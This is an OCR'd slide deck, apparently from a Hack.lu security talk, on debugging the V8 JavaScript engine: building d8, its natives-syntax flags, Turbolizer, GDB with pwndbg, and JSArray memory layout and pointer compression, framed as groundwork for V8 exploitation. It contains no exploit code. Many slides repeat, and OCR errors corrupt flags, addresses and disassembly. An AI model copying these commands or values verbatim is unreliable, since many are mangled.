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About V8 Engine



| About V8 Engine

O1 V8 Engine

What is V87

- Google's JavaScript engine for running JavaScript and WASM

- |t powers Chrome, Node js, and various Chromium—based applications

Google nodc

¢ §.

Andr0|d- EI_ECTROI\I

Why V8 Exploits are Trending

- Browser Security

 Browser vulnerabilities can compromise dafta and entire systems

- Complexity & Vulnerability

' Logical flaws arise in JIT compilation and memory optimization

- High Attack Potential

' Remote code execution and sandbox escapes target millions
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| About V8 Engine

02 V8 Compilation Process

V8 Compilation Process
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Chapter 02

Let's Debug



11 Let's Debug

01 Tools (1)

- V8's developer shell
d8 - debugging V8 code

- variable options

Download

- You can access and download it from the GitHub repository
- After building the V8, We will be able to use d8

Build

$ git clone

https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH= pwd /depot_tools:”$PATH”

fetch v8

gclient sync

cd v8
./build/install-build-deps.sh
v8/tools/dev/gm.py x64.release
v8/tools/dev/gm.py x64.debug

ref. https://v8.dev/docs/build

Options
$ /A8 help

1) ——allow—natives—syntax

- V8 Runtime Functions call
- %DebugPrint(), % OptimizeFunctionOnNextCall() -
- v8/src/runtime/runtime.h

2) ——expose—gc

‘Forcing a Garbage Collection call

3) ——prinf—-maglev—code & ——print—maglev—graph—building

- Print the optimized code & Control Flow Graph (CFG)
- Analyze the Maglev's compilation and optimization processes

4) ——trace—turbo

- Trace generated TurboFan IR
- Generate trace files, which can be used to trace nodes using Turbolizer’

EAQAST
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11 Let's Debug

01 Tools (2)

Turbolizer
- HTML-based tool

] s

tools_2.js:test maln function

10
2% let result = add(5,3);
- Visualizes Turbofan's optimization pipeline By e
- Open the generated JSON file with Turbolizer tonls.2jaia ——
I fa, b
2 return a+h;
3‘} -

function add(a, b) {

return a + b Source code

function test() {
let result = add(5 3);
return result:

<o

function test() {
letresult =5 + 3
return result:

function test() {
return 8.

- https://v8.github.io/tools/head/turbolizer/index.html

[v8.TFEarlyOptimization 86

vHﬂnd with regexp...

| Conly visible C

V8.TFBytecodeGraphBuilder 26
V8.TFInlining 46
V8.TFEarlyGraphTrimming 46

V8. TFTyper 46

V8.TFTypedLowering 45

V8. TFLoopPeeling 45
V8.TFLoadElimination 45
V8.TFEscapeAnalysis 45

V8 TFSimplifiedLowering [after lower] 70
V8.TFSimplifiedLowering [after verify] 70
V8.TFSimplifiedLowering 70

V8. TFUntyper 70
V8.TFGenericLowering 82

schedule

V8. TFTurboshaftBuildGraph 26

V8. TFTurboshaftMachineLowering 25
V8.TFTurboshaftLoopUnrolling 25
V8.TFTurboshaftStoreStoreElimination 26
V8.TFTurboshaftOptimize 26

Optimization pipeline

-

O VEE

0: Start

74: Branch[Unspecified, True]

76: IfFalse

75: If True

86: NumberConstant[8]

Node graph

77: Merge

25: Return

26: End

Disassembly
[)Show addresses []Show binary literal CJHighlightgap =
instructions

Disassembly

kind = TURBOFAN
stack_slots = B

compiler = turbofan
address = Ox174a00040359
Instructions (size = 152}

BRFEEEe wmo

& 158 1 15 RS 12 I 1
7 (B8 152 165 183 122 67 (2

131515168 180 163 B e 1 B s
BI85 13 1= b 1 s s

EELFIZIERRRITSE
g = e

REx W leaq rbe, [ripsOxffififig]

RE# ¥ cmpa rbx, rox

Jz 071470000219 <+0x19>

mow | rdw, Ox34

call [r13+025668]

int3l

mow | rbe, [rex=0xc]

REX. W ora rbx, [r13+0=1e0]

testh [rbx+Oxlal,0x20

inz 0x7f14ecd04140 (CampilelazyDeapt inizedCode) T

push rbp

FEX. W mova rbprsp

push rsi

push rdi

push rax

REX. W subg rse, OxB

REX.W cupa rsp, [r13-0x60] (external value (StackGuard::a
jna 071470000261 Bl <+0x61>

mow | rax, 0x10

REx W mova rex, [rbp-0x18]
FEX. W mova rse,rbe

pop rbp

REX. W cmpg rox, Oxl

ja OxTH1470000258 <+0x58>
ret Ox8

pop ri10

REX.W leaq rsp, [rep+rox=8]
push r10

retl

mow | rdx, 0x80

push rdux

REx W mova [rbp-0x20], rsi
REX. W mowa rbex, 0x7114eeb75150
mov | rax, Ox1

REX . W mowa rdx, OxZaZcO02581a85
REX W mowq rsi,rdx
cal | Ox7f14ed0v6e00
mov | rax, 0x10

Jup Ox7f1470000247
nop

call

; esternal reference (f
;3 object: OxZaZc00281at
(CEntry_Returnl_argvOnStack_HoBuilt
<s02dT>

[r13-0x28] i debuas deopt position, script offs

My
>
it
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11 Let's Debug

01 Tools (3)

Practice GDB

- Run d8 under GDB
- Analyzing the memory regions

- Make JS file
- The same as debugging an ELF
GDB: The GNU Project Debugger “pwndbg, PEDA, GEF /! gdb_prqcﬂceus )
let egst = HiHack.lu'
%DebugPrint(egst):

Install pwndbg

$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg
$ ./setup.sh

- Attach d8 and Run JS file

~/EQST/v8/out/splice$ gdb -q ./d8 // Attach d8

r chapter2/gdb_practicel.js // Run 3S file

Set V8 support tools in GDB - Errorlog

gdb_practice.js:2: SyntaxError: Unexpected token '%'

$ vim ~/.gdbinit %DebugPrint(eqst);

source 'v8_path'/tools/gdb-v8-support.py
source 'v8_path'/tools/gdbinit

A
SyntaxError: Unexpected token '%'

EAQAST
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11 Let's Debug

01 Tools (4)

- Add option, "——allow—natives—syntax

r --allow-natives-syntax chapter2/gdb_practicel.js
// Run 1S file with option

- The Result of the execution

// The provided address is an example
DebugPrint: 0x5a30019a5b9: [String] in OldSpace: #Hi Hack.lu
0x5a3000003d5: [Map] in ReadOnlySpace

- map: 0x05a3000004c5 <MetamMap (0x05a30000007d <null>)>

- type: INTERNALIZED_ONE_BYTE_STRING_TYPE
- instance size: variable

q

- Modify JS file

/] gdb_practice2 js

let egst = "Hi Hack.Iu"

%DebugPrint(egst):

while(1): // or % SystemBreak(), prevent to memories reset

EAQAST
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11 Let's Debug

CTy
;ﬁﬁmﬁﬁ

{PRACTICE

01 Tools (4)

- Add option, "——allow—natives—syntax

r --allow-natives-syntax chapter2/gdb_practicel.js
// Run 1S file with option

- The Result of the execution

// The provided address is an example
DebugPrint: 0x5a30019a5b9: [String] in OldSpace: #Hi Hack.lu
0x5a3000003d5: [Map] in ReadOnlySpace

- map: 0x05a3000004c5 <MetamMap (0x05a30000007d <null>)>

- type: INTERNALIZED_ONE_BYTE_STRING_TYPE

- instance size: variable

q

- Modify JS file

/] gdb_practice2. s
let egst = "Hi Hack.Iu"
%DebugPrint(egst):

while(1): // or % SystemBreak(), prevent to memories reset

WO Z%
4ﬁaﬁ§

- Atfach d8 and Run JS file
~/EQST/v8/out/splice$ gdb -q ./d8 // Attach d8

r --allow-natives-syntax chapter2/gdb_practice2.js
// Run 3JS

- The Result of the execution

// The provided address is an example
DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOnlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

- type: INTERNALIZED_ONE_BYTE_STRING_TYPE

- construction counter: 0

- After pressing, Ctrl + C”

Not showing 18 thread(s). Use set context-max-threads <number of
threads> to change this.

EAQAST
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of
threads> to change this.

// Use job function, job [Memory

address]
DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

- GDB Memory examination Command: “x/nuf [address]”

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

12
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]
DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x3ab10019a5b9: 0x0ale3db98e000003 0x6148206948000000
0x3ab10019a5c9: 0xd50000756c2e6b63 0x0a38d406da000003

// examination command (4 bytes)
0x3ab10019a5b9: 0x8e000003 O0Ox0ale3db9 0x48000000 0x61482069
0x3ab10019a5c9: 0x6c2e6b63 0xd5000075 O0xda000003 0x0a38d406

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

13

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, Ox48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox75
a H i H
o e O O

0Ox3abl00192a5b9: 0x0ale3db?8e000003  0x6148206948000000

Ox3ab10019a5¢?: Oxd50000/56c2e6b63  0x0a38d406da000003

YVV VOV
ul . kc

EAQAST
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]
DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x3ab10019a5b9: 0x0ale3db98e000003 0x6148206948000000
0x3ab10019a5c9: 0xd50000756c2e6b63 0x0a38d406da000003

// examination command (4 bytes)
0x3ab10019a5b9: 0x8e000003 O0Ox0ale3db9 0x48000000 0x61482069
0x3ab10019a5c9: 0x6c2e6b63 0xd5000075 O0xda000003 0x0a38d406

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

14

/] Hi Hack Iu(ASCII): Ox48, Ox69, Ox20, Ox48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox75
a H i H
o e O O

Ox3abl00192a5b9: 0x0ale3db?8e000003  0Ox6148206948000000

Ox3ab10019a5¢?: Oxd50000/56c2e6b63  0x0a38d406da000003

YVV VOV
ul . kc

EAQAST
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]
DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x3ab10019a5b9: 0x0ale3db98e000003 0x6148206948000000
0x3ab10019a5c9: 0xd50000756c2e6b63 0x0a38d406da000003

// examination command (4 bytes)
0x3ab10019a5b9: 0x8e000003 O0Ox0ale3db9 0x48000000 0x61482069
0x3ab10019a5c9: 0x6c2e6b63 0xd5000075 O0xda000003 0x0a38d406

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

15

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, Ox48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox/75
a H i H
o e O O

Ox3abl00192a5b9: 0x0ale3db?8e000003  0Ox6148206948000000

Ox3ab10019a5¢?: Oxd50000/56c2e6b63  0x0a38d406da000003

YVV VOV
ul . kc

EAQAST

Experts, Qualified Security Team



11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]
DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x3ab10019a5b9: 0x0ale3db98e000003 0x6148206948000000
0x3ab10019a5c9: 0xd50000756c2e6b63 0x0a38d406da000003

// examination command (4 bytes)
0x3ab10019a5b9: 0x8e000003 O0Ox0ale3db9 0x48000000 0x61482069
0x3ab10019a5c9: 0x6c2e6b63 0xd5000075 O0xda000003 0x0a38d406

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

16

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, O0x48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox75
a H i H
o e O O

0Ox3abl100192a5b9: Ox0ale3db?8e000003  0Ox6148206948000000

Ox3ab10019a5¢?: Oxd50000/56c2e6b63  0x0a38d406da000003

YVV VOV
ul . kc
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]
DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x3ab10019a5b9: 0x0ale3db98e000003 0x6148206948000000
0x3ab10019a5c9: 0xd50000756c2e6b63 0x0a38d406da000003

// examination command (4 bytes)
0x3ab10019a5b9: 0x8e000003 O0Ox0ale3db9 0x48000000 0x61482069
0x3ab10019a5c9: 0x6c2e6b63 0xd5000075 O0xda000003 0x0a38d406

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

17

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, 0x48, 0xb61 0x63, Oxbb, Ox2e, Oxbe, Ox75
a H i H
o e O O

0Ox3abl00192a5b9: 0x0ale3db?8e000003  0Ox6148206948000000

Ox3ab10019a5¢?: Oxd50000/56c2e6b63  0x0a38d406da000003

YVV VOV
ul . kc
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]

DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x0ale3db98e000003 0x6148206948000000
0xd50000756¢c2e6b63 0x0a38d406da000003

0x3ab10019a5b9:
0x3ab10019a5c9:

// examination command (4 bytes)
Ox0ale3db9 0x48000000 0x61482069
0xd5000075 O0xda000003 0x0a38d406

0x3ab10019a5b9:
0x3ab10019a5c9:

0x8e000003
0x6c2e6b63

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

18

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, Ox48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox /5
a H i H
o e O O

Ox3abl00192a5b92: 0x0ale3db28e000003  Ox6148206948000000

Ox3ab10019a5¢?: Oxd50000/56c2e6b63  0x0a38d406da000003

YVV VOV
ul . kc
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]

DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x0ale3db98e000003 0x6148206948000000
0xd50000756¢c2e6b63 0x0a38d406da000003

0x3ab10019a5b9:
0x3ab10019a5c9:

// examination command (4 bytes)
Ox0ale3db9 0x48000000 0x61482069
0xd5000075 O0xda000003 0x0a38d406

0x3ab10019a5b9:
0x3ab10019a5c9:

0x8e000003
0x6c2e6b63

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

19

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, Ox48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox75

a H i H
o e O O
Ox3abl0012a5b9: 0x0ale3db?8e000003  0Ox6148206948000000
Ox3abl10019a5c¢?: Oxd50000756c2eb6b63 Ox0a38d406da000003
TTT{T
u . C

EAQAST
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]

DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x0ale3db98e000003 0x6148206948000000
0xd50000756¢c2e6b63 0x0a38d406da000003

0x3ab10019a5b9:
0x3ab10019a5c9:

// examination command (4 bytes)
Ox0ale3db9 0x48000000 0x61482069
0xd5000075 O0xda000003 0x0a38d406

0x3ab10019a5b9:
0x3ab10019a5c9:

0x8e000003
0x6c2e6b63

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

20

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, 0x48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox75

a H i H
o e O O
Ox3abl0012a5b9: 0x0ale3db?8e000003  0Ox6148206948000000
Ox3abl10019a5c?: Oxd50000756c2e6b63 Ox0a38d406da000003
TTT{T
u . C

EAQAST
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]

DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x0ale3db98e000003 0x6148206948000000
0xd50000756¢c2e6b63 0x0a38d406da000003

0x3ab10019a5b9:
0x3ab10019a5c9:

// examination command (4 bytes)
Ox0ale3db9 0x48000000 0x61482069
0xd5000075 O0xda000003 0x0a38d406

0x3ab10019a5b9:
0x3ab10019a5c9:

0x8e000003
0x6c2e6b63

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

21

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, Ox48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox75

a H i H
o e O O
Ox3abl0012a5b9: 0x0ale3db?8e000003  0Ox6148206948000000
Ox3abl0019a5c?: Oxd50000756c2eb6bb3  Ox0a38d406da000003
TTT{T
u . C
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]
DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x3ab10019a5b9: 0x0ale3db98e000003 0x6148206948000000
0x3ab10019a5c9: 0xd50000756c2e6b63 0x0a38d406da000003

// examination command (4 bytes)
0x3ab10019a5b9: 0x8e000003 O0Ox0ale3db9 0x48000000 0x61482069
0x3ab10019a5c9: 0x6c2e6b63 0xd5000075 O0xda000003 0x0a38d406

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

22

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, Ox48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox75
a H i H
o e O O

Ox3abl0012a5b9: 0x0ale3db?8e000003  0Ox6148206948000000

Ox3ab10019a5¢?: Oxd50000/56c2ebb63  Ox0a38d406da000003

YVV VOV
ul . kc

EAQAST
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]
DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

- Examining memory

// examination command (8 bytes)
0x3ab10019a5b9: 0x0ale3db98e000003 0x6148206948000000
0x3ab10019a5c9: 0xd50000756c2e6b63 0x0a38d406da000003

// examination command (4 bytes)
0x3ab10019a5b9: 0x8e000003 O0Ox0ale3db9 0x48000000 0x61482069
0x3ab10019a5c9: 0x6c2e6b63 0xd5000075 O0xda000003 0x0a38d406

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (Tbyte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

23

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, O0x48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox75
a H i H
o e O O

Ox3abl0012a5b9: 0x0ale3db?8e000003  0Ox6148206948000000

Ox3ab10019a5¢?: Oxd50000/56c2ebb63  Ox0a38d406da000003

YVV VOV
ul . kc

EAQAST
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11 Let's Debug

01 Tools (5)

- Use the supporting function, ‘job’

// The provided address is an example
DebugPrint: in OldSpace: #Hi Hack.lu
0x3ab1000003d5: [Map] in ReadOonlySpace

- map: 0x3ab1000004c5 <MetaMap (0x3ab10000007d <null>)>

Not showing 18 thread(s). Use set context-max-threads <number of

threads> to change this.

// Use job function, job [Memory
address]

DebugPrint: 0x3ab10019a5b9: [String] in OldSpace: #Hi Hack.lu

"

- GDB Memory examination Command: “x/nuf [address]

CTy
RETTG:

{PRACTIC

E

2SS

ACTNS

- Examining memory

// examination command (8 bytes)
0x0ale3db98e000003 0x6148206948000000
0xd50000756¢c2e6b63 0x0a38d406da000003

0x3ab10019a5b9:
0x3ab10019a5c9:

// examination command (4 bytes)
Ox0ale3db9 0x48000000 0x61482069
0xd5000075 O0xda000003 0x0a38d406

0x3ab10019a5b9:
0x3ab10019a5c9:

0x8e000003
0x6c2e6b63

// examination command (1 bytes)

0x3ab10019a5b9: 0x03

- Analyzing memory

example: x/10gx

n (number): The number of units to display.

u (unit size): The size of each unit

— main unit size: b (1 byte), h (2 bytes), w (4 bytes), g (8 bytes)

f (format): The format to display the memory

— main format: x (hexadecimal), d (signed decimal), ¢ (character), s (string), etc.

24

/] Hi Hack Iu(ASCII): Ox48, 0x69, Ox20, Ox48, Oxb61 0x63, Oxbb, Ox2e, Oxbe, Ox75
a H i H
o e O O

Ox3abl0012a5b9: 0x0ale3db?8e000003  0Ox6148206948000000

Ox3ab10019a5¢?: Oxd50000/56c2e6b63  0x0a38d406da000003

YVV VOV
ul . kc

EAQAST

Experts, Qualified Security Team



11 Let's Debug

02 Object (1)

Object

Obje

Arra

ct

S

%

Y

JSObject
{key: value}

JSArray
[index]

25

JSObject

properties

elements

JSArray

properties

elements

EAQAST
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11 Let's Debug

02 Object (2)

Map Object

- Tracks an object's properties and their memory layout

- Similar structures share the same map

Properties Object

- "Named" Data stored inside the Object
- ex) Object: {"first": 1, "second™: 2, -}, -

Elements Object

- Values stored in Array and “Indexed” data stored inside the Object
- ex) Array: [0, 1, 2, ], Object: {0:'a’, 1: b, -},

EAQAST
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11 Let's Debug

02 Object (3)

Example

- Examining memory (1)

/| debug_print js
let egst_element = [1, 2, 31 X/4wx
%DebugPrint(egst_element);

while(1): // or % SystemBreak(), prevent to memories reset

0x2b400049b89: 0xcd0018e6 0x3d000006 0x060019a6 0x00000000

// Result of %DebugPrint

~/EQST/v8/out/splice$ gdb -q ./d8 // Attach d8 - JSArray Object Structure
r --allow-natives-syntax chapter2/debug_print.js // |HESSS——— o s o U :
Run JS file | Map 0x02b400 b
) i Properties | 0x02b400000/ | !
DebugPrint:
- map: 0x02b40018e6bl <Map[16] (PACKED_SMI_ELEMENTS)> i Elements | Ox02b400 -
[FastProperties] i
I Length
prototype: 0x02b40018e925 <JSArray[0]> N

elements: 0x02b40019a63d <FixedArray[3]>
lTength: 3
properties: 0x02b4000006cd <FixedArray[0]>
A1l own properties (excluding elements): { ...
elements: 0x02b40019a63d <FixedArray[3]> {

0: 1

1: 2

2: 3

EAQAST
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I[I  Let'sDebug : PWE

2SS

ACTNS

02 Object (3)

Example

- Examining memory (1)

/| debug_print js
let egst_element = [1, 2, 31 x/4wx 0x2b400049b89

0x2b400049b89: 0xcd0018e6 0x3d000006 0x060019a6 0x00000000

%DebugPrint(egst_element);
while(1): // or % SystemBreak(), prevent to memories reset

// Result of %DebugPrint

~/EQST/v8/out/splice$ gdb -q ./d8 // Attach d8 - JSArray Object Structure
r --allow-natives-syntax chapter2/debug_print.js // | o :
Run JS file i Map 0x02b400
) i Properties | 0x02b400000/ | !
DebugPrint:
- map: 0x02b40018e6b1l <Map[16] (PACKED_SMI_ELEMENTS)> i Elements | Ox02b400 -
[FastProperties] i
I Length
prototype: 0x02b40018e925 <JSArray[0]> e A
elements: 0x02b40019a63d <FixedArray[3]>
lTength: 3
properties: 0x02b4000006cd <FixedArray[0]>
A1l own properties (excluding elements): { ... o
elements: 0x02b40019a63d <FixedArray[3]> { - Examining memory (2)

0: 1
1: 2
2: 3

X/4wx -1

0x2b400049b88: 0x0018e6bl 0x000006cd 0x0019a63d 0x00000006

EAQAST
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11 Let's Debug

03 Value Representation (1)

Pointer Compression

- Most objects use Pointer Compression

- Reduce the size of pointers by using 32-bit addresses

ex) 0x02b400
64bits - Ox000002b40018eb6bl
32bits : Ox0018ebbl1 (Base Address : 0x000002b4)

- Increased memory efficiency

- Enhanced security (2732, 4GB == Sandbox)

29
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II  Let'sDebug

03 Value Representation (1)

Pointer Compression

- Most objects use Pointer Compression - JSArray Object Structure

- Reduce the size of poinfers by using 32-bif addresses | Mo 0x02b40018e6bl = Real Address : 0x02b40018e600
Properties | 0x02b4000006cd = Real Address : 0x02b4000006cc
Elements | 0x02b40019a63d = Real Address : 0x02b40019a63c

ex) 0x025400 |
64bits : 0x000002b40018e6bb] o> | e T T
32bits : 0x0018e6bl (Base Address : 0x000002b4) Length 3

- Increased memory efficiency

- Enhanced security (2732, 4GB == Sandbox)

Tagged Pointer

- Can you guess? Ox0003abcl

- for pointers : LSB | OOOWOOOOOOO
0

31
LSB -> tag bit

